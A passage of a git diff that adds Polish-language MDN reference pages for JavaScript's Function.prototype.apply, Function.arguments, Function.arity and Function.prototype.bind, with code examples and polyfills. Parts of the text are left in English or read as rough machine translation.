argumentów</strong>.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em><var>fun</var>ction</em>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>thisArg</code></dt> + <dd>Optional. The value of <code>this</code> provided for the call to <em><code>func</code></em>. Note that <code>this</code> may not be the actual value seen by the method: if the method is a function in {{jsxref("Strict_mode", "non-strict mode", "", 1)}} code, {{jsxref("null")}} and {{jsxref("undefined")}} will be replaced with the global object, and primitive values will be boxed.</dd> + <dt><code>argsArray</code></dt> + <dd>Optional. An array-like object, specifying the arguments with which <em><code>fun</code></em> should be called, or {{jsxref("null")}} or {{jsxref("undefined")}} if no arguments should be provided to the function. Starting with ECMAScript 5 these arguments can be a generic array-like object instead of an array. See below for {{anch("Browser_compatibility", "browser compatibility")}} information.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Wynik wywoływanej funkcji z określoną wartością <code>this</code> i argumentami.</p> + +<h2 id="Opis">Opis</h2> + +<p><span id="result_box" lang="pl"><span>Można</span> <span>przypisać inny</span> <span>obiekt</span> <code>this</code> <span>podczas wywoływania</span> <span>istniejącej</span> <span>funkcji.</span></span> <code>this</code> <span id="result_box" lang="pl"><span>odnosi się do</span> <span>bieżącego obiektu</span><span>,</span> <span>obiektu</span> <span>wywołującego. </span></span><span lang="pl"><span>Z</span> <span>apply</span><span> można</span> <span>napisać metodę</span> <span>raz, a następnie</span> <span>dziedziczyć</span> <span>ją</span> <span>w innym</span> <span>obiekcie,</span> <span>bez konieczności</span> <span>przepisywania</span> <span>metody</span> <span>dla nowego</span> <span>obiektu.</span></span></p> + +<p><code>apply</code> jest bardzo podobne do {{jsxref("Function.call", "call()")}}, <span class="short_text" id="result_box" lang="pl"><span>z wyjątkiem typu danych</span> <span>argumentów</span><span>, które wspiera</span><span>. </span></span><span id="result_box" lang="pl"><span>Można</span> <span>używać tablicy</span> <span>argumentów</span> <span>zamiast</span> <span>zestawu argumentów (parametrów</span><span>).</span></span> Z metodą <code>apply</code>, możesz używać tablic w sensie dosłownym, na przykład <code><em>fun</em>c.apply(this, ['eat', 'bananas'])</code>, lub obiektów typu {{jsxref("Array")}}, na przykład, <code><em>func</em>.apply(this, new Array('eat', 'bananas'))</code>.</p> + +<p>Można używać również {{jsxref("Funkcje/arguments", "arguments")}} dla parametru <code>argsArray</code>. <code>arguments</code> jest zmienną lokalną dostępną wewnątrz każdej funkcji. Można to zastosować<span id="result_box" lang="pl"><span> do wszystkich</span> <span>nieokreślonych</span> <span>argumentów</span> wywoływanego <span>obiektu</span><span>.</span></span> <span id="result_box" lang="pl"><span>Tak więc</span> <span>nie trzeba</span> <span>znać</span> <span>argumentów</span> <span>wywoływanego obiektu</span> <span>przy</span> <span>użyciu</span> <span>metody</span> <span><code>apply</code>. </span></span> Możesz użyć <code>arguments</code>, aby <span class="short_text" id="result_box" lang="pl"><span>przekazać</span> <span>wszystkie argumenty do wywoływanego obiektu. </span></span><span id="result_box" lang="pl"><span>Wywołany</span> <span>obiekt</span> <span>jest</span> <span>odpowiedzialny za obsługę</span> <span>otrzymanych argumentów</span><span>.</span></span></p> + +<p><span lang="pl"><span>Od </span></span>ECMAScript 5th Edition możliwe jest również używanie wszelkiego rodzaju obiektów „tablicopodobnych” (array-like), co w praktyce oznacza, że obiekt taki musi mieć własność <code>length</code> i całkowite własności (indeksy) w zakresie <code>(0..length-1)</code>. Przykładowo możesz użyć {{domxref("NodeList")}} lub własnego oiektu jak np. <code>{ 'length': 2, '0': 'eat', '1': 'bananas' }</code>.</p> + +<div class="note"> +<p>Większość przeglądarek, w tym Chrome 14 i Internet Explorer 9, w dalszym ciągu nie akceptuje obiektów tablicopodobnych i będzie wyrzucać wyjątek.</p> +</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_apply_do_dodania_tablicy_do_innej_tablicy">Użycie <code>apply</code> do dodania tablicy do innej tablicy</h3> + +<p>Możemy użyć metody <code>push</code> do dodania elementu do tablicy. I, jako że <code>push</code> przyjmuje zmienną liczbę argumentów, możemy również dodać wiele elementów naraz – ale jeśli faktycznie przekażemy tablicę do funkcji <code>push</code>, wówczas rzeczywiście doda ona tablicę jako pojedynczy element, zamiast dodać jej elementy, więc skończymy z tablicą wewnątrz tablicy. Co jeśli to nie jest to, co chcieliśmy osiągnąć? <code>concat</code> ma zachowanie takie, jakiego oczekiwalibyśmy w tym przypadku, jednak funkcja ta nie dodaje w rzeczywistości tablicy do istniejącej tablicy, ale tworzy i zwraca nową. Ale chcieliśmy zmodyfikować naszą istniejącą tablicę… Więc co teraz? Napisać pętlę? No chyba nie?</p> + +<p><code>apply</code> przychodzi na ratunek!</p> + +<pre class="brush: js">var array = ['a', 'b']; +var elements = [0, 1, 2]; +array.push.apply(array, elements); +console.info(array); // ["a", "b", 0, 1, 2] +</pre> + +<p> </p> + +<h3 id="Using_apply_and_built-in_functions">Using <code>apply</code> and built-in functions</h3> + +<p> </p> + +<p>Clever usage of <code>apply</code> allows you to use built-ins functions for some tasks, that otherwise probably would have been written by looping over the array values. As an example here we are going to use <code>Math.max</code>/<code>Math.min</code>, to find out the maximum/minimum value in an array.</p> + +<pre class="brush: js">// min/max number in an array +var numbers = [5, 6, 2, 3, 7]; + +// using Math.min/Math.max apply +var max = Math.max.apply(null, numbers); +// This about equal to Math.max(numbers[0], ...) +// or Math.max(5, 6, ...) + +var min = Math.min.apply(null, numbers); + +// vs. simple loop based algorithm +max = -Infinity, min = +Infinity; + +for (var i = 0; i < numbers.length; i++) { + if (numbers[i] > max) { + max = numbers[i]; + } + if (numbers[i] < min) { + min = numbers[i]; + } +} +</pre> + +<p>But beware: in using <code>apply</code> this way, you run the risk of exceeding the JavaScript engine's argument length limit. The consequences of applying a function with too many arguments (think more than tens of thousands of arguments) vary across engines (JavaScriptCore has hard-coded <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">argument limit of 65536</a>), because the limit (indeed even the nature of any excessively-large-stack behavior) is unspecified. Some engines will throw an exception. More perniciously, others will arbitrarily limit the number of arguments actually passed to the applied function. To illustrate this latter case: if such an engine had a limit of four arguments (actual limits are of course significantly higher), it would be as if the arguments <code>5, 6, 2, 3</code> had been passed to <code>apply</code> in the examples above, rather than the full array.</p> + +<p>If your value array might grow into the tens of thousands, use a hybrid strategy: apply your function to chunks of the array at a time:</p> + +<pre class="brush: js">function minOfArray(arr) { + var min = Infinity; + var QUANTUM = 32768; + + for (var i = 0, len = arr.length; i < len; i += QUANTUM) { + var submin = Math.min.apply(null, + arr.slice(i, Math.min(i+QUANTUM, len))); + min = Math.min(submin, min); + } + + return min; +} + +var min = minOfArray([5, 6, 2, 3, 7]); +</pre> + +<p> </p> + +<h3 id="Using_apply_to_chain_constructors">Using <code>apply</code> to chain constructors</h3> + +<p> </p> + +<p>You can use <code>apply</code> to chain {{jsxref("Operators/new", "constructors", "", 1)}} for an object, similar to Java. In the following example we will create a global {{jsxref("Function")}} method called <code>construct</code>, which will enable you to use an array-like object with a constructor instead of an arguments list.</p> + +<pre class="brush: js">Function.prototype.construct = function(aArgs) { + var oNew = Object.create(this.prototype); + this.apply(oNew, aArgs); + return oNew; +}; +</pre> + +<div class="note" style="height: 250px; overflow: auto;"> +<p><strong>Note:</strong> The <code>Object.create()</code> method used above is relatively new. For alternative methods, please consider one of the following approaches:</p> + +<p>Using {{jsxref("Object/__proto__", "Object.__proto__")}}:</p> + +<pre class="brush: js">Function.prototype.construct = function (aArgs) { + var oNew = {}; + oNew.__proto__ = this.prototype; + this.apply(oNew, aArgs); + return oNew; +}; +</pre> + +<p>Using <a href="/en-US/docs/Web/JavaScript/Closures">closures</a>:</p> + +<pre class="brush: js">Function.prototype.construct = function(aArgs) { + var fConstructor = this, fNewConstr = function() { + fConstructor.apply(this, aArgs); + }; + fNewConstr.prototype = fConstructor.prototype; + return new fNewConstr(); +};</pre> + +<p>Using the {{jsxref("Function")}} constructor:</p> + +<pre class="brush: js">Function.prototype.construct = function (aArgs) { + var fNewConstr = new Function(""); + fNewConstr.prototype = this.prototype; + var oNew = new fNewConstr(); + this.apply(oNew, aArgs); + return oNew; +}; +</pre> +</div> + +<p>Example usage:</p> + +<pre class="brush: js">function MyConstructor() { + for (var nProp = 0; nProp < arguments.length; nProp++) { + this['property' + nProp] = arguments[nProp]; + } +} + +var myArray = [4, 'Hello world!', false]; +var myInstance = MyConstructor.construct(myArray); + +console.log(myInstance.property1); // logs 'Hello world!' +console.log(myInstance instanceof MyConstructor); // logs 'true' +console.log(myInstance.constructor); // logs 'MyConstructor' +</pre> + +<div class="note"> +<p><strong>Note:</strong> This non-native <code>Function.construct</code> method will not work with some native constructors; like {{jsxref("Date")}}, for example. In these cases you have to use the {{jsxref("Function.prototype.bind")}} method. For example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: <code>[2012, 11, 4]</code>; in this case you have to write something like: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code>. This is not the best way to do things, and probably not to be used in any production environment.</p> +</div> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.3.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{jsxref("Functions/arguments", "arguments")}} object</li> + <li>{{jsxref("Function.prototype.bind()")}}</li> + <li>{{jsxref("Function.prototype.call()")}}</li> + <li>{{jsxref("Functions", "Functions and function scope", "", 1)}}</li> + <li>{{jsxref("Reflect.apply()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html b/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html new file mode 100644 index 0000000000..abbb63eef4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/arguments/index.html @@ -0,0 +1,41 @@ +--- +title: Function.arguments +slug: Web/JavaScript/Referencje/Obiekty/Function/arguments +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments +--- +<p>{{JSRef}}{{ Deprecated_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Obiekt tablicopodobny odpowiadający argumentom przekazywanym funkcji.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Należy użyć obiektu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/arguments">arguments</a></code> dostępnego wewnątrz funkcji zamiast <code>Function.arguments</code>.</p> + +<p>W przypadku rekurencji, tzn. jeśli funkcja <code>f</code> pojawia się kilkakrotnie na stosie wywołania, wartość of <code>f.arguments</code> reprezentuje argumenty odpowiadające ostatniemu wywołaniu funkcji.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre class="brush: js">function f(n) { g(n-1) } + +function g(n) { + console.log("przed: " + g.arguments[0]); + if(n>0) { f(n); } + console.log("po: " + g.arguments[0]); +} +f(2); +</pre> + +<p>wyświetli:</p> + +<pre class="eval">przed: 1 +przed: 0 +po: 0 +po: 1 +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/function/arity/index.html b/files/pl/web/javascript/referencje/obiekty/function/arity/index.html new file mode 100644 index 0000000000..37a136e443 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/arity/index.html @@ -0,0 +1,23 @@ +--- +title: Function.arity +slug: Web/JavaScript/Referencje/Obiekty/Function/arity +tags: + - Function + - JavaScript + - Obsolete + - Property + - Unimplemented + - przestarzały +translation_of: Archive/Web/JavaScript/Function.arity +--- +<p>{{JSRef}}{{ obsolete_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>arity</code> jest zewnętrzna dla funkcji i wskazuje, ile argumentów oczekuje funkcja. Ta właśność jest przestarzała, proszę używać {{jsxref("Function.prototype.length")}}, która dostarcza liczbę argumentów wymaganych przez deklarację funkcji.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Function.prototype.length")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/function/bind/index.html b/files/pl/web/javascript/referencje/obiekty/function/bind/index.html new file mode 100644 index 0000000000..028db6b6d4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/bind/index.html @@ -0,0 +1,332 @@ +--- +title: Function.prototype.bind() +slug: Web/JavaScript/Referencje/Obiekty/Function/bind +translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind +--- +<div>{{JSRef}}<br> +Metoda <span class="seoSummary"><code><strong>bind()</strong></code> </span> tworzy nową funkcję, której wywołanie powoduje ustawienie <strong>this</strong> na podaną wartość, z podaną sekwencją argumentów poprzedzającą dowolną podaną podczas wywołania nowej funkcji.<br> + </div> + +<div>{{EmbedInteractiveExample („pages / js / function-bind.html”, „taller”)}}<br> +Źródło tego interaktywnego przykładu jest przechowywane w repozytorium GitHub. Jeśli chcesz przyczynić się do projektu interaktywnych przykładów, sklonuj https://github.com/mdn/interactive-examples i wyślij nam prośbę o pobranie.</div> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">let boundFunc = <var>func</var>.bind(thisAtr[, <var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]]]) +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><var>thisAtr</var></code></dt> + <dd>Wartość, która ma być przekazana jako <strong>this</strong> do funkcji docelowej func po wywołaniu funkcji powiązanej. Wartość jest ignorowana, jeśli funkcja powiązana jest konstruowana przy użyciu operatora {{jsxref („Operators / new”, „new”)}}. Podczas używania funkcji <strong>bind</strong> do utworzenia funkcji (dostarczonej jako wywołanie zwrotne) wewnątrz setTimeout, każda prymitywna wartość przekazywana, gdy <strong>thisAtr</strong> jest konwertowany na obiekt. Jeśli nie podano żadnych argumentów, aby powiązać (bind), lub jeśli thisArg jest <strong>null</strong> lub <strong>undefined</strong>, <strong>this</strong> z zakresu wykonania jest traktowany jako <strong>thisAtr</strong> dla nowej funkcji.</dd> + <dt><code><var>arg1</var>, <var>arg2</var>, ...<var>argN</var></code> {{optional_inline}}</dt> + <dd>Argumenty poprzedzające argumenty dostarczone funkcji powiązanej podczas wywoływania func.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Kopia podanej funkcji z podaną tą wartością i początkowymi argumentami (jeśli podano).</p> + +<h2 id="Opis">Opis</h2> + +<p>Funkcja <strong>bind</strong>() tworzy nową funkcję wiązania (bound function), która jest exotic function object (termin z ECMAScript 2015), który zawija oryginalny obiekt funkcji. Wywołanie funkcji powiązanej zazwyczaj skutkuje wykonaniem jej owrapowanej funkcji.</p> + +<p>Funckja wiązania <strong>(bound function)</strong> ma następujące właściwości wewnętrzne:</p> + +<dl> + <dt><strong><code>[[BoundTargetFunction]]</code> </strong></dt> + <dd>The wrapped function object</dd> + <dt><code><strong>[[BoundThis]]</strong></code></dt> + <dd>The value that is always passed as <code>this</code> value when calling the wrapped function.</dd> + <dt><code><strong>[[BoundArguments]]</strong></code></dt> + <dd>A list of values whose elements are used as the first arguments to any call to the wrapped function.</dd> + <dt><code><strong>[[Call]]</strong></code></dt> + <dd>Executes code associated with this object. Invoked via a function call expression. The arguments to the internal method are a <code>this</code> value and a list containing the arguments passed to the function by a call expression.</dd> +</dl> + +<p>When a bound function is called, it calls internal method <code>[[Call]]</code> on <code>[[BoundTargetFunction]]</code>, with following arguments <code>Call(<var>boundThis</var>, ...<var>args</var>)</code>. Where <code><var>boundThis</var></code> is <code>[[BoundThis]]</code>, <code><var>args</var></code> is <code>[[BoundArguments]]</code>, followed by the arguments passed by the function call.</p> + +<p>A bound function may also be constructed using the {{jsxref("Operators/new", "new")}} operator. Doing so acts as though the target function had instead been constructed. The provided <code>this</code> value is ignored, while prepended arguments are provided to the emulated function.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Creating_a_bound_function">Creating a bound function</h3> + +<p>The simplest use of <code>bind()</code> is to make a function that, no matter how it is called, is called with a particular <code>this</code> value.</p> + +<p>A common mistake for new JavaScript programmers is to extract a method from an object, then to later call that function and expect it to use the original object as its <code>this</code> (e.g., by using the method in callback-based code).</p> + +<p>Without special care, however, the original object is usually lost. Creating a bound function from the function, using the original object, neatly solves this problem:</p> + +<pre class="brush: js notranslate">this.x = 9; // 'this' refers to global 'window' object here in a browser +const module = { + x: 81, + getX: function() { return this.x; } +}; + +module.getX(); +// returns 81 + +const retrieveX = module.getX; +retrieveX(); +// returns 9; the function gets invoked at the global scope + +// Create a new function with 'this' bound to module +// New programmers might confuse the +// global variable 'x' with module's property 'x' +const boundGetX = retrieveX.bind(module); +boundGetX(); +// returns 81 +</pre> + +<p><strong>Funkcje częściowo zastosowane</strong><br> + Kolejnym najprostszym zastosowaniem bind () jest utworzenie funkcji z wcześniej określonymi argumentami początkowymi.</p> + +<p>Argumenty te (jeśli występują) są zgodne z podaną wartością, a następnie są wstawiane na początku argumentów przekazywanych do funkcji docelowej, a następnie wszelkie argumenty przekazywane funkcja powiązana w momencie jej wywołania.</p> + +<pre class="brush: js notranslate">function list() { + return Array.prototype.slice.call(arguments); +} + +function addArguments(arg1, arg2) { + return arg1 + arg2 +} + +const list1 = list(1, 2, 3); +// [1, 2, 3] + +const result1 = addArguments(1, 2); +// 3 + +// Create a function with a preset leading argument +const leadingThirtysevenList = list.bind(null, 37); + +// Create a function with a preset first argument. +const addThirtySeven = addArguments.bind(null, 37); + +const list2 = leadingThirtysevenList(); +// [37] + +const list3 = leadingThirtysevenList(1, 2, 3); +// [37, 1, 2, 3] + +const result2 = addThirtySeven(5); +// 37 + 5 = 42 + +const result3 = addThirtySeven(5, 10); +// 37 + 5 = 42 +// (the second argument is ignored) + + +</pre> + +<h3 id="With_setTimeout">With <code>setTimeout()</code></h3> + +<p>By default within <a href="/en-US/docs/Web/API/Window/setTimeout" title="REDIRECT WindowTimers.setTimeout"><code>window.setTimeout()</code></a>, the <code>this</code> keyword will be set to the <a href="/en-US/docs/Web/API/Window" title="The Window interface represents a window containing a DOM document; the document property points to the DOM document loaded in that window."><code>window</code></a> (or <code>global</code>) object. When working with class methods that require <code>this</code> to refer to class instances, you may explicitly bind <code>this</code> to the callback function, in order to maintain the instance.</p> + +<pre class="brush: js notranslate">function LateBloomer() { + this.petalCount = Math.floor(Math.random() * 12) + 1; +} + +// Declare bloom after a delay of 1 second +LateBloomer.prototype.bloom = function() { + window.setTimeout(this.declare.bind(this), 1000); +}; + +LateBloomer.prototype.declare = function() { + console.log(`I am a beautiful flower with ${this.petalCount} petals!`); +}; + +const flower = new LateBloomer(); +flower.bloom(); +// after 1 second, calls 'flower.declare()' +</pre> + +<h3 id="Funkcje_powiązane_używane_jako_kostruktory">Funkcje powiązane używane jako kostruktory</h3> + +<div class="warning"> +<p>Ostrzeżenie: ta sekcja pokazuje możliwości JavaScript i dokumentuje niektóre przypadki krawędzi metody bind ().</p> + +<p>Metody przedstawione poniżej nie są najlepszym sposobem na robienie rzeczy i prawdopodobnie nie powinny być stosowane w żadnym środowisku produkcyjnym.</p> +</div> + +<p>Funkcje powiązane są automatycznie odpowiednie do użycia z operatorem {{jsxref („Operators / new”, „new”)}} do tworzenia nowych instancji utworzonych przez funkcję docelową. Gdy do utworzenia wartości używana jest funkcja powiązana, pod warunkiem, że jest to ignorowane.</p> + +<p>Jednak pod warunkiem, że argumenty są nadal dołączane do wywołania konstruktora:</p> + +<pre class="brush: js notranslate">function Point(x, y) { + this.x = x; + this.y = y; +} + +Point.prototype.toString = function() { + return `${this.x},${this.y}`; +}; + +const p = new Point(1, 2); +p.toString(); +// '1,2' + + +// not supported in the polyfill below, + +// works fine with native bind: + +const YAxisPoint = Point.bind(null, 0/*x*/); + + +const emptyObj = {}; +const YAxisPoint = Point.bind(emptyObj, 0/*x*/); + +const axisPoint = new YAxisPoint(5); +axisPoint.toString(); // '0,5' + +axisPoint instanceof Point; // true +axisPoint instanceof YAxisPoint; // true +new YAxisPoint(17, 42) instanceof Point; // true +</pre> + +<p>Zauważ, że nie musisz robić nic specjalnego, aby utworzyć powiązaną funkcję do użycia z {{jsxref („Operators / new”, „new”)}}.</p> + +<p>Następstwem jest to, że nie musisz robić nic specjalnego, aby utworzyć funkcję powiązaną, która będzie wywoływana w sposób jawny, nawet jeśli wolisz, aby funkcja powiązana była wywoływana tylko za pomocą {{jsxref („Operators / new”, „new”)}} .</p> + +<pre class="brush: js notranslate">// Example can be run directly in your JavaScript console +// ...continued from above + +// Can still be called as a normal function +// (although usually this is undesired) +YAxisPoint(13); + +`${emptyObj.x},${emptyObj.y}`; +// > '0,13' +</pre> + +<p>If you wish to support the use of a bound function only using {{jsxref("Operators/new", "new")}}, or only by calling it, the target function must enforce that restriction.</p> + +<h3 id="Tworzenie_skrótów">Tworzenie skrótów</h3> + +<p>bind () jest również pomocny w przypadkach, w których chcesz utworzyć skrót do funkcji, która wymaga podania tej wartości.</p> + +<p>Weźmy na przykład {{jsxref ("Array.prototype.slice ()")}}, którego chcesz użyć do konwersji obiektu podobnego do tablicy na prawdziwą tablicę. Możesz utworzyć taki skrót:</p> + +<pre class="brush: js notranslate">const slice = Array.prototype.slice; + +// ... + +slice.apply(arguments); +</pre> + +<p>Za pomocą bind () można to uprościć.</p> + +<p>W poniższym fragmencie kodu slice () jest funkcją powiązaną z funkcją {{jsxref („Function.prototype.apply ()”, „Apply ()”)}} z {{jsxref („Function.prototype”) }}, z tą wartością ustawioną na {{jsxref („Array.prototype.slice ()”, „slice ()”)}} funkcji {{jsxref („Array.prototype”)}}. Oznacza to, że dodatkowe wywołania apply () można wyeliminować:</p> + +<pre class="brush: js notranslate">// same as "slice" in the previous example +const unboundSlice = Array.prototype.slice; +const slice = Function.prototype.apply.bind(unboundSlice); + +// ... + +slice(arguments); +</pre> + +<p>Polyfill<br> + Ponieważ starsze przeglądarki są na ogół również wolniejszymi przeglądarkami, jest to o wiele bardziej krytyczne niż większość ludzi rozpoznaje tworzenie polifillów wydajności, aby przeglądanie w przestarzałych przeglądarkach było nieco mniej straszne.</p> + +<p>W związku z tym poniżej przedstawiono dwie opcje dla funkcji wypełniania funkcji Function.prototype.bind ():</p> + +<p>Pierwszy jest znacznie mniejszy i bardziej wydajny, ale nie działa, gdy używasz nowego operatora.<br> + Drugi jest większy i mniej wydajny, ale pozwala na pewne użycie nowego operatora na powiązanych funkcjach.<br> + Zasadniczo w większości kodów bardzo rzadko widuje się nowe używane w funkcji powiązanej, więc najlepiej jest wybrać pierwszą opcję.</p> + +<pre class="brush: js notranslate">// Does not work with `new funcA.bind(thisArg, args)` +if (!Function.prototype.bind) (function(){ + var slice = Array.prototype.slice; + Function.prototype.bind = function() { + var thatFunc = this, thatArg = arguments[0]; + var args = slice.call(arguments, 1); + if (typeof thatFunc !== 'function') { + // closest thing possible to the ECMAScript 5 + // internal IsCallable function + throw new TypeError('Function.prototype.bind - ' + + 'what is trying to be bound is not callable'); + } + return function(){ + var funcArgs = args.concat(slice.call(arguments)) + return thatFunc.apply(thatArg, funcArgs); + }; + }; +})();</pre> + +<p>Możesz częściowo obejść ten problem, wstawiając następujący kod na początku skryptów, umożliwiając korzystanie z większości funkcji bind () w implementacjach, które nie obsługują go natywnie.</p> + +<pre class="brush: js notranslate">// Yes, it does work with `new funcA.bind(thisArg, args)` +if (!Function.prototype.bind) (function(){ + var ArrayPrototypeSlice = Array.prototype.slice; + Function.prototype.bind = function(otherThis) { + if (typeof this !== 'function') { + // closest thing possible to the ECMAScript 5 + // internal IsCallable function + throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable'); + } + + var baseArgs= ArrayPrototypeSlice .call(arguments, 1), + baseArgsLength = baseArgs.length, + fToBind = this, + fNOP = function() {}, + fBound = function() { + baseArgs.length = baseArgsLength; // reset to default base arguments + baseArgs.push.apply(baseArgs, arguments); + return fToBind.apply( + fNOP.prototype.isPrototypeOf(this) ? this : otherThis, baseArgs + ); + }; + + if (this.prototype) { + // Function.prototype doesn't have a prototype property + fNOP.prototype = this.prototype; + } + fBound.prototype = new fNOP(); + + return fBound; + }; +})(); +</pre> + +<p>Niektóre z wielu różnic (mogą być też inne, ponieważ ta lista nie próbuje być wyczerpująca) między tym algorytmem a określonym algorytmem to:</p> + +<p>Częściowa implementacja opiera się na {{jsxref ("Array.prototype.slice ()")}}, {{jsxref ("Array.prototype.concat ()")}}, {{jsxref ("Function.prototype.call ( ) ")}} i {{jsxref (" Function.prototype.apply () ")}}, wbudowane metody mające swoje oryginalne wartości.<br> + Częściowa implementacja tworzy funkcje, które nie mają niezmiennej „pigułki trucizny” {{jsxref („Function.caller”, „caller”)}} i właściwości argumentów, które wyrzucają {{jsxref („Global_Objects / TypeError”, „TypeError”) }} przy pobieraniu, ustawianiu lub usuwaniu. (Można to dodać, jeśli implementacja obsługuje {{jsxref („Object.defineProperty”)}} lub częściowo zaimplementowana [bez zachowania polegającego na rzucaniu przy usuwaniu], jeśli implementacja obsługuje {{jsxref („Object .__ zdefiniujGetter__”, „ __defineGetter__ ”)}} i {{jsxref („ Object .__ definiSetter__ ”,„ __defineSetter__ ”)}}).<br> + Częściowa implementacja tworzy funkcje, które mają właściwość prototypu. (Właściwie powiązane funkcje nie mają żadnych.)<br> + Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.length”, „length”)}}} nie zgadza się z właściwością nakazaną przez ECMA-262: tworzy funkcje o długości 0. Pełna implementacja - w zależności od długość funkcji docelowej i liczba wcześniej określonych argumentów - może zwrócić niezerową długość.<br> + Częściowa implementacja tworzy powiązane funkcje, których właściwość {{jsxref („Function.name”, „name”)}} nie jest pochodną oryginalnej nazwy funkcji. Według ECMA-262 nazwa zwróconej funkcji powiązanej powinna być „związana” + nazwa funkcji docelowej.<br> + Jeśli zdecydujesz się użyć tej częściowej implementacji, nie możesz polegać na przypadkach, w których zachowanie odbiega od ECMA-262, wydanie 5! Na szczęście te odchylenia od specyfikacji rzadko (jeśli w ogóle) pojawiają się w większości sytuacji kodowania. Jeśli nie rozumiesz żadnego z odchyleń od powyższej specyfikacji, w tym konkretnym przypadku można bezpiecznie nie martwić się o te niezgodne szczegóły odchylenia.</p> + +<p>Jeśli jest to absolutnie konieczne, a wydajność nie stanowi problemu, znacznie wolniejsze (ale bardziej zgodne ze specyfikacją rozwiązanie) można znaleźć na stronie https://github.com/Raynos/function-bind.</p> + +<h2 id="Dane_techniczne">Dane techniczne</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td> + </tr> + </tbody> +</table> + +<h5 